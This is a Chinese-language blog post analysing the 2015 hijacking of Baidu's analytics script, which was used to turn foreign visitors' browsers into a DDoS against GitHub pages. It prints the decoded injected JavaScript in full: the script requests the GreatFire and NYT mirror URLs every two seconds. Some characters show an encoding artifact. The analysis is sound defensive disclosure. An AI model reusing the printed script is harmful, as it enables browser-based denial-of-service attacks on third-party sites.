
臨時(shí)解決方法:
修改hosts,添加""127.0.0.1 hm.baidu.com" 。
詳細(xì)原因分析:今天中午刷著全國最大的信息安全從業(yè)人員同性交友社區(qū)zone.wooyun.org的時(shí)候,忽然瀏覽器每隔2秒就不斷的彈窗:
malicious javascript detected on this domain

我第一反應(yīng)就是不知道哪個(gè)調(diào)皮的基友又把zone給XSS了,馬上打開開發(fā)者工具分析。
0x01 細(xì)節(jié)
之后立刻發(fā)現(xiàn)彈窗的js居然是從github加載的:

可是為什么烏云會(huì)從github加載js呢,并且還是從greatfire和紐約時(shí)報(bào)鏡像加載。
第一反應(yīng)是頁面有xss或者js被劫持了,找了半天終于找到了,居然是
hm.baidu.com/h.js
這個(gè)js的確被烏云加載了沒錯(cuò),這是百度統(tǒng)計(jì)的js代碼,打開后里面是一個(gè)簡單加密后的js,eval了一串編碼后的內(nèi)容,隨便找了個(gè)在線解密看了下,發(fā)現(xiàn)如下內(nèi)容:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.Ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3); |
大概功能就是關(guān)閉緩存后每隔2秒加載一次
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
里面的兩個(gè)url
問了下墻內(nèi)的小伙伴們,他們看到的js都是正常的,但是通過墻外ip訪問
http://hm.baidu.com/h.js
就會(huì)得到上面的js文件,每隔2秒請(qǐng)求一下這兩個(gè)url。
打開twitter看了下,似乎從3月18號(hào)以來Github就受到了DDoS攻擊,之后greatfire把被攻擊的頁面內(nèi)容換成了
| 1 | alert("WARNING: malicious Javascript detected on this domain") |
以彈窗的方式阻止了js的循環(huán)執(zhí)行。

圖3 國外ip traceroute到hm.baidu.com的記錄
似乎DNS并沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協(xié)議里替換文件。

掃了下端口,只開了80和443,通過https協(xié)議訪問后是正常的空頁面(只有帶referer才會(huì)出現(xiàn)js文件)。

作者要進(jìn)行抓包分析時(shí)劫持已經(jīng)停止,在twitter上看到有人已經(jīng)分析過引用如下:
抓包跟蹤,正常百度服務(wù)器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報(bào)文的TTL是47,可以確定的是有中間設(shè)備對(duì)VPS發(fā)了偽造報(bào)文。

真是無恥,呵呵
忽然想起一句話,之前DNS被劫持到外國服務(wù)器的時(shí)候某站長說的:
They have weaponized their entire population.
現(xiàn)在應(yīng)該是:
They have weaponized their entire population of the Earth.
新聞熱點(diǎn)
疑難解答